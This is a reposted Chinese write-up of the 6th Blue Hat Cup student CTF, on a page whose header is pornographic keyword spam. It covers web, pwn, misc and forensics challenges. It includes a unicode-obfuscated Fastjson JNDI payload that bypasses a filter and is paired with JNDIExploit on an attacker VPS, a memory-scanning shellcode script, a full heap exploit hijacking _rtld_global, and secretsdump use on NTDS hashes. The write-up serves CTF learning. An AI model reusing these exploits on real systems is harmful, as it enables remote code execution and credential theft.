日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp

發布時間:2023/12/18 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

第六屆”藍帽杯“全國大學生網絡安全技能大賽WriteUp

  • Web
    • Ez_gadget
  • Misc
    • domainhacker
    • domainhacker2
  • Pwn
    • EscapeShellcode
    • Bank
  • 網站取證
    • 網站取證_1
    • 網站取證_2
    • 網站取證_3
    • 網站取證_4
  • 程序分析
    • 程序分析_1
    • 程序分析_2
    • 程序分析_3
    • 程序分析_4
  • 手機取證
    • 手機取證_1
    • 手機取證_2
  • 計算機取證
    • 計算機取證_1
    • 計算機取證_2
    • 計算機取證_3
    • 計算機取證_4
  • Tip

Web

Ez_gadget

源碼看到了fastjson 但是有個hash要繞過去

參考
https://goodapple.top/archives/964

然后我們去運算下得到kQNH2XQ6eudIQEFB

代碼上面有正則String pattern = “.rmi.|.jndi.|.ldap.|.\x.”;
https://github.com/safe6Sec/Fastjson

我們將payload進行unicode編碼然后

str=kQNH2XQ6eudIQEFB&input={"\u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","qqq":"payload"}

java -jar JNDIExploit.jar -i vpsip
payload編碼后發過去

用date命令讀取flag就行了
flag{ed41ca96-de27-4da7-8513-f3343c67c9bc}

Misc

domainhacker

流量中發現一個rar包和多個base加密代碼

解開壓縮包即可

domainhacker2

解壓發現一個流量包和一個ntds.rar文件,rar帶密碼。跟misc1思路一樣,查找ntds文件,發現壓縮過程。

解密


得到密碼:FakePassword123$,解壓得到一個ntds.list,查看相關資料發現需要用到secretsdump.py,網上下載,然后解密得到hash值,說是history的,加個參數就好,命令。

python .\secretsdump.py -system SYSTEM -ntds .\ntds.dit LOCAL -history


flag{07ab403ab740c1540c378b0f5aaa4087}

Pwn

EscapeShellcode

利用write后rcx保存的地址可以快速定位shellcode保存地址,并且獲得大概的flag保存范圍,因為shllcode保存地址和flag保存地址就差28位,利用and獲得其高位保存在rsi 作為基地址,后28位需要爆破,r15存儲偏移,每次打印0x1000個字符,打印后跳轉到$-0x19也就是mov rax,1處,然后繼續從基地址+0x1000開始打印0x1000個字符,如此循環即可。

from pwn import* context(arch='amd64',os='linux') sh=process('./escape_shellcode') #sh=remote("39.106.156.74",23470) #start=0 start=0x500000000000 #addr=0x5633c143f000 code='''mov rdi,1mov rsi,{}mov r12,0xfffff0000000mov r15,0x1000#r15儲存偏移mov rdx,0x1000#打印長度設置為0x1000mov rax,1syscall#write(rdi,rsi,rdx)mov rsi,rcx#write執行后rcx 儲存著shllcode的相關地址and rsi,r12#丟棄后28位add rsi,r15#rsi=rsi+偏移地址add r15,0x1000#偏移遞增0x1000jmp $-0x19#循環 跳轉到mov rax,1 '''.format(start) payload=asm(code) #gdb.attach(sh) #pause() sh.sendline(payload) sh.recvuntil("flag{") flag=b'flag{'+sh.recvuntil("}") print(flag)

Bank


Deposit功能, 如果存的正好等于cahs, 那么cash不會減少, 就可以刷錢

Trasnfer功能

admin至少給0x1F, 可以越界讀堆: malloc_0x18[num]

hacker至少給0x33, 可以任意地址free

guest: malloc(0x10) 并讀入0x10數據

ghost: realloc(ptr, sz), 0<sz<=0x100

abyss: *malloc_0x18=Read_ul() 并且exit(0)

思路:

free原語: realloc()先變大再變小, 就可以釋放原來挺ptr指向的chunk

由于不知道libc地址, 先假設就是2.27, free chunk后進入tcache, 讀出key字段就可獲取tcache的地址, 打遠程發現確實如此. 從而獲取堆地址heap_addr

有了后續通過任意地址free嘗試釋放malloc_0x18的chunk, 結果發現heap_addr+0x2a0才能正確釋放到, 因此libc至少是2.31

后續要通過堆噴射偽造一個UB chunk, 然后利用任意地址free釋放到UB中, 然后再越界讀出來, 從而獲取libc地址

abyss有個任意寫+exit(0), 顯然就是劫持劫持rtld_global中的函數指針, 觸發OGG

但是rtld_gloabl位于ld中, ld與libc的偏移與系統內核有關系, 我在20.04下嘗試了結果失敗了, 不過反正有越界讀, 可以嘗試越界讀爆破一下libc_addr到rtld_global+3848的偏移, 不行
既然后任意讀和libc的地址, 能不能通過libc獲取ld的地址? 反正_rtld_global與ld的偏移固定, 手法類似于balsn_ctf_2019_SecPwn:
libc與ld的偏移不穩定, 使用固定偏移可能會出錯. 實際上libc中也有直接的rtld_global, 里面第一個映射記錄的就是ld地址, 因此接觸rtld_global可以由libc地址得到ld地址。

但是打遠程還是失敗了, 懷疑是OGG的問題, 首先嘗試執行libc.so.6的start(), 判斷OGG是否能被執行, 還是不行, 后續我用perror做測試, 發現stderr是可以正常輸出的, GG也是可以執行的。

后面一直跑一段時間

#! /usr/bin/python2 # coding=utf-8 import sys from pwn import * import base64 context.log_level = 'debug' context(arch='amd64', os='linux') def Log(name):log.success(name+' = '+hex(eval(name))) libc = ELF("./libc.so.6") if(len(sys.argv)==1): #localcmd = ["./pwn"]sh = process(cmd) else: #remtoesh = remote("47.94.194.27", 45092) def Cmd(s):sh.sendlineafter("Click: ", s) def Deposit(num):Cmd("Deposit")sh.sendlineafter("How Much? ", str(num)) def Put(num):Cmd("Put")sh.sendlineafter("How Much? ", str(num)) def Info():Cmd("Info") def Login(card, pwd):Cmd("Login")sh.sendlineafter(": ", card)sh.sendlineafter(": ", pwd) def Transfer(who, num):Cmd("Transfer")sh.sendlineafter("who? ", who)sh.sendlineafter("How much? ", str(num)) # malloc_0x18[num] def ReadHeap(num):Transfer("admin", num) def FreeAddr(addr):Transfer("hacker", 0x33)sh.recvuntil("hacker: Great!\n")sh.sendline(str(addr)) def Malloc_0x10(data):Transfer("guest", 6)sh.recvuntil("data: ")sh.send(data) def Realloc(sz):Transfer("ghost", 0xB)sh.recvuntil('ghost: &^%$#@! :)\n')sh.sendline(str(sz)) # malloc_0x18 = addr def SetPtr(addr):Transfer("abyss", 0)sh.sendline(str(addr)) def GDB():gdb.attach(sh, '''telescope (0x0000555555554000+0x203010) 1telescope (0x0000555555554000+0x203050) 1telescope (0x0000555555554000+0x2030A8) 1break *(0x7ffff7e1ea25 )#conti''') Login("1"*0x10, "2"*0x6) # be rich cash = 0x190 for i in range(0x28):Put(cash)Deposit(cash)Put(cash)cash*=2 for i in range(8):Malloc_0x10(str(i)*0x10) Realloc(0x100) Realloc(0x1) ReadHeap(0x148/8) sh.recvuntil("I think ") heap_addr = int(sh.recvuntil(" is", drop=True), 16)-0x10 Log("heap_addr") Malloc_0x10(flat(0, 0x421)) for i in range(32):Malloc_0x10(p64(i)*2) Malloc_0x10(flat(0, 0x21)) Malloc_0x10(flat(0, 0x21)) Malloc_0x10(flat(0, 0x21)) FreeAddr(heap_addr+0x4d0+0x10) ReadHeap(0x240/0x8) # be0 sh.recvuntil("I think ") libc.address = int(sh.recvuntil(" is", drop=True), 16)-0x1ebbe0 Log("libc.address") ReadHeap(((libc.symbols['_rtld_global']-(heap_addr+0x2a0))/8)) sh.recvuntil("I think ") ld_addr = int(sh.recvuntil(" is", drop=True), 16) Log("ld_addr") rtld_global_hook = ld_addr+0xf08 Log("rtld_global_hook") FreeAddr(heap_addr+0x2a0) Malloc_0x10(p64(rtld_global_hook)*2) SetPtr(libc.address+0xe6c7e) sh.interactive()

網站取證

網站取證_1

通過D盾掃描找到后門

網站取證_2


找到加密文件,然后發現是aes算法直接解密得數據庫密碼

網站取證_3

比較數據給的數據庫和查看代碼得到

網站取證_4

將數據庫導入到本地數據庫,然后將2022-04-02 00:00:00-2022-04-18 23:59:59的張寶和王子豪的記錄取出來,還有匯率取出來放著。

匯率
0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37

核心代碼在這兒,
用匯率把錢數計算出來就行

import base64 import hashlib sum = 0 p = [0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37] with open('./data.txt','r') as f:d = f.readlines()for i in range(len(d)):key = hashlib.md5(b'jyzg123456').hexdigest()x = 0char = ''s = ''if d[i].strip().split()[6] == '5,' and d[i].strip().split()[7] == '3,': data = base64.b64decode(d[i].strip().split()[-1])date = int(d[i].strip().split()[4][9:11]) - 2for i in range(len(data)):if x == len(key):x = 0char += key[x:x + 1]x += 1for i in range(len(data)):if ord(data[i:i + 1]) < ord(char[i:i + 1]):s += chr(ord(data[i:i + 1]) + 256 - ord(char[i:i + 1]))else:s += chr(ord(data[i:i + 1]) - ord(char[i:i + 1]))sum += float(s) * p[date]else:continueprint(sum)


腳本最后算出來的是總金額取小數后2位就行。

程序分析

程序分析_1

雷電App智能分析軟件中的基本信息里,就有應用包名。

程序分析_2

雷電App智能分析軟件中有個主活動以及主函數名,就是程序入口。

程序分析_3

雷電App智能分析中有個工具箱,用Jadx工具打開分析,在主入口中找到了一串base64的加密字符串,就是程序服務器地址的密文。

程序分析_4

入口處發現

這個模塊
然后往下調發現

此處用了a這個類,然后試著提交答案就對了。

手機取證

手機取證_1

手機取證_2

計算機取證

計算機取證_1


解密為:anxinqi

計算機取證_2

計算機取證_3


提取恢復密鑰
用取證大師解開

用給的字典去解密

打開即可

計算機取證_4


通過上題發現一個容器,
通過題目提示從內存導出密鑰

解開容器發現一個壓縮包

然后爆破壓縮包密碼即可

Tip

你是否想要加入一個安全團
擁有更好的學習氛圍?
那就加入EDI安全,這里門檻不是很高,但師傅們經驗豐富,可以帶著你一起從基礎開始,只要你有持之以恒努力的決心
EDI安全的CTF戰隊經常參與各大CTF比賽,了解CTF賽事,我們在為打造安全圈好的技術氛圍而努力,這里絕對是你學習技術的好地方。這里門檻不是很高,但師傅們經驗豐富,可以帶著你一起從基礎開始,只要你有持之以恒努力的決心,下一個CTF大牛就是你。
歡迎各位大佬小白入駐,大家一起打CTF,一起進步。
我們在挖掘,不讓你埋沒!
你的加入可以給我們帶來新的活力,我們同樣也可以贈你無限的發展空間。
有意向的師傅請聯系郵箱root@edisec.net、shiyi@edisec.net(帶上自己的簡歷,簡歷內容包括自己的學習方向,學習經歷等)

總結

以上是生活随笔為你收集整理的第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。